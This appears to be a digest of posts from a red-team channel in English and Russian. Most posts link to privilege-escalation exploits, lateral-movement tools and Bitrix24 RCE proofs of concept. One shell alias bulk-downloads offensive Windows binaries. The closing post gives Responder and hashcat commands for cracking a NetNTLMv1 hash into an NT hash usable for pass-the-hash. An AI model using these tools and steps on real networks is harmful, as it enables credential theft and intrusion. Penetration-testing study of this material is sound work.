🔒 Protected Users and xfreerdp

By default xfreerdp does not support Kerberos authentication. As such you'll have to recompile it specifying the WITH_GSSAPI option. Also you'll need the libkrb5-dev package to handle TGT/ST requests :)

#ad #kerberos #xfreerdp #redteam

NetExec

This tool is based on CrackMapExec and was originally created by bytebleeder and maintained by mpgn over the years, shout out to them! With the retirement of mpgn, we decided to maintain the tool NetExec, formerly known as CrackMapExec, as a completely free open source tool.

Today will be our first release of NetExec version 1.0.0

NetExec wiki

Local Privilege Escalation in the glibc's ld.so (CVE-2023-4911)

https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

POC: https://github.com/leesh3288/CVE-2023-4911

#expdev #linux #lpe #Alexs3y

🍀 MSIFortune - Local Privilege Escalation with MSI Installers

MSI installers are still pretty alive today. It is a lesser known feature, that a low privileged user can start the repair function of an installation which will run with SYSTEM privileges. What could go wrong? Quite a lot!

The repair function often triggers CustomActions, which can lead to several potential issues:

— Visible conhost.exe via a cmd.exe or other console binaries
— Visible PowerShell
— Directly actions from the installer with SYSTEM privileges
— Executing binaries from user writable paths
— DLL sideloading / search path abusing
— Missing PowerShell parameters, mostly -NoProfile
— Execution of other tools in an unsafe manner

🌐 Details:
https://badoption.eu/blog/2023/10/03/MSIFortune.html

#windows #msi #lpe

🥔 Coerced Potato

New tool for local privilege escalation on a Windows machine, from a service account to NT SYSTEM. Should work on any recent versions of Windows.

⚙️ Tool:
https://github.com/hackvens/CoercedPotato

📝 Research:
https://blog.hackvens.fr/articles/CoercedPotato.html

#windows #lpe #seimpersonateprivilege #potato

🔐 Crack.sh is dead, Long Live Shuck.sh

Recently, many of you might've noticed that Crack.sh is currently unavailable. While it's been an invaluable tool in our arsenal, the landscape is ever-changing, and we need to pivot. Meet Shuck.sh, an emerging service that offers similar capabilities, leveraging the extensive Have I Been Pwned (HIBP) database.

🚀 Key Features:

— Shuck It: Instantly shuck NetNTLMv1, PPTP VPN, and WPA-Enterprise MSCHAPv2 challenges against HIBP's NT-hash database.
— Tech Insight: Efficient binary search for DES-keys collisions from a subset of the HIBP database.
— Fast & Free: Got around 100 NetNTLMv1 challenges? Extract their corresponding NT-Hashes in roughly 10 seconds.

One significant advantage of Shuck.sh over other tools is its ability to be deployed locally. For those concerned about security and privacy, you can set up Shuck.sh on your own environment using its script from the GitHub repository.

🔗 Shuck.sh
🔗 GitHub Repository
🔗 Pwned Passwords Version 8 (Torrent)

#ntlmv1 #des #mschapv2 #bruteforce

⚡PsMapExec

A PowerShell tool that takes strong inspiration from CrackMapExec.

🚀 Supported Methods

— PsExec
— RDP
— SMB Signing
— WinRM
— WMI

🔗 More Detailed
🔗 Github Repository

#ad #windows #powershell #cme

Для автоматизации загрузки скомпиленных бинарей, к примеру из репозитория #SharpCollection можете добавить альяс в свой .zshrc и использовать его подручно. Удобно, быстро и хорошо...

SharpCollection() {curl -sSL 'https://api.github.com/repos/Flangvik/SharpCollection/git/trees/master?recursive=1' | jq -r '.tree[] | select(.path | endswith(".exe")) | .path | split("/") | "\(.[0]) - \(.[1])"' | fzf -m --reverse --height=50% --preview-window=down:5% -d" - " --preview 'echo "curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/"{1}"/"{2}" -o "{2}""' | awk -F' - ' '{print $1,$2}' | while read -r arch filename; do echo; wget https://github.com/Flangvik/SharpCollection/raw/master/$arch/$filename -O $filename; done}

Спасибо Паше за подсказку

Если кто-то не совсем разобрался с техникой DLL Hijacking, или может совсем не в курсе, что это такое, советую данный материал. Очень хорошая работа!

https://elliotonsecurity.com/perfect-dll-hijacking/

So today, we're doing 100% original research reverse engineering the Windows library loader to not just cleanly workaround Loader Lock but, in the end, disable it outright. Plus, coming up with some stable mitigation & detection mechanisms defenders can use to help guard against DLL hijacking.

#maldev #redteam

😈 [ Almond OffSec @AlmondOffSec ]

Understanding the different types of LDAP authentication methods is fundamental to apprehend subjects such as relay attacks or countermeasures. This post by @lowercase_drm introduces them through the lens of Python libraries.

🔗 https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html

🐥 [ tweet ]

🔥 Bitrix24 Multiple Vulnerabilities

Multiple high-risk vulnerabilities found in Bitrix24 v22.0.300. These include Remote Command Execution, Cross-Site Scripting, Prototype Pollution, Insecure File Access, and Denial of Service.

🌐 Details and PoC's:

🔗 CVE-2023-1713 (RCE)
🔗 CVE-2023-1714 (RCE)
🔗 CVE-2023-1715 (XSS)
🔗 CVE-2023-1717 (XSS)
🔗 CVE-2023-1718 (DoS)
🔗 CVE-2023-1719 (IDOR)

#bitrix24 #rce #xss #dos #idor

Всем привет! Сегодня в УрФУ выступил с докладом на тему Kerberos, разобрали некоторые базовые атаки, принцип работы и основные, самые популярные механизмы, которые встречаются при каждом внутреннем пентесте. В докладе старался не погружаться в уж очень страшные дебри, а рассказать все более-менее простым понятным человеческим языком.


Видео:
https://vk.com/video-210214143_456239047

Презентацию прикрепил во вложениях :)

P.S. Само собой, будет продолжение :)

⚛️ Nuclei AI — Browser Extension

Nuclei AI Browser Extension, built on top of cloud.projectdiscovery.io, simplifies the creation of vulnerability templates, by enabling users to extract vulnerability information from any webpages to quickly and efficiently create nuclei templates, saving valuable time and effort.

🚀 Features

— Context Menu Option to Generate Template
— HackerOne Report to Nuclei Template Generation
— ExploitDB exploit to Nuclei Template Generation
— BugCrowd / Intigriti / Synack support (Coming soon)

🔗 https://github.com/projectdiscovery/nuclei-ai-extension

#nuclei #template #generator #chrome #extension

Как и в том году мой бывший коллега со своей командой CTI создали новый огромный отчёт. На этот раз про азиатским APT группировки!
Отчёт содержит 370 страниц подробного анализа о различных азиатских APT группировок с описанием TTPs, анализом действий атакующих на основе "Unified Kill Chain" и много других крутых штук, отчёт доступен для скачивания в RU и EN вариантах.

P.S. Данный материал на 14:00 по мск эксклюзив.

Давно думал, публиковать свой софт или нет... Вот и решил для начала переписать Rubeus (не весь конечно) на C и перевести в COF файлы. В общем, из коробки работает с Cobalt Strike и Havoc😁😁

https://github.com/RalfHacker/Kerbeus-BOF

#bof #git #soft #redteam #pentest

Что делать, если на пентесте вы получили NetNTLMv1 хеш учетной записи? Как пример - вы можете выполнить ntlm relay атаку или восстановить NTLM хеш по радужной таблице на сервисе crack.sh. Но что то пошло не так...Но сервис crack.sh уже больше полугода не работает. Что же делать, когда Relay атака бесполезна, а радужных таблиц нет? Ответ простой - брутить! На самом деле NetNTLMv1 хеш состоит из 2 3 блоков зашифрованных с помощью DES. А про DES мы помним, что он какой то не безопасный. Далее описаны простые шаги, как вы можете перебрать всё пространство ключей с помощью утилиты Hashcat. Данная техника не нова, она много раз описана в интернете, но вспомнить этот метод будет не лишним перед следующим постом.
1. Получаем NetNTLMv1 хеш с помощью Responder, воспользовавшись флагами --lm и --disable-ess.
2. Если не хватает терпения разбить хеш на 3 равные части - качаем скрипт и запускаем следующим образом

python https://ntlmv1.py --nossp <ntlmv1_hash_nossp>

3. Если вам хватило терпения и вы вручную разбили хеш на 3 равные части - допишем к нему Challenge и сформируем файл для брута в следующем виде (последнюю 3-ю часть не обязательно брутить, что с ней делать я расскажу позже)

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

4. Далее запускаем брут следующим образом

hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr  --hex-charset des.file '?1?1?1?1?1?1?1?1'

На 8 картах 1080Ti это займет максимум 6 суток.
На 4 картах 4090Ti это займет максимум 1 день и 13 часов.
5. Получим на выходе такой файл:

727b4e35f947129e:1122334455667788:$HEX[8923bdfdaf753f63]
a52b9cdedae86934:1122334455667788:$HEX[17d741d7ddc1c36f]

6. Теперь соберем блоки обратно в NTLM хеш

perl deskey_to_ntlm.pl 8923bdfdaf753f63
output= 8846f7eaee8fb1

perl deskey_to_ntlm.pl 17d741d7ddc1c36f
output= 17ad06bdd830b7

7. Помните мы 3-й блок не стали брутить? Все потому что восстановить оставшуюся часть NTLM хеша не составит труда, т.к. значимые данные занимают всего 2 байта, а остальное padding (Подробности на приложенном скрине). Восстановить данную часть мы можем мгновенно полным перебором на CPU.

./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
output= 586c

8. Собираем NTLM хеш из полученных частей и можем использовать его для атак Pass The Hash, Over Pass The Ticket и Silver Ticket.

8846f7eaee8fb1 + 17ad06bdd830b7 + 586c

NT hash
8846f7eaee8fb117ad06bdd830b7586c

Вот и мы с @securixy_kz решили запилить о больном #meme #certs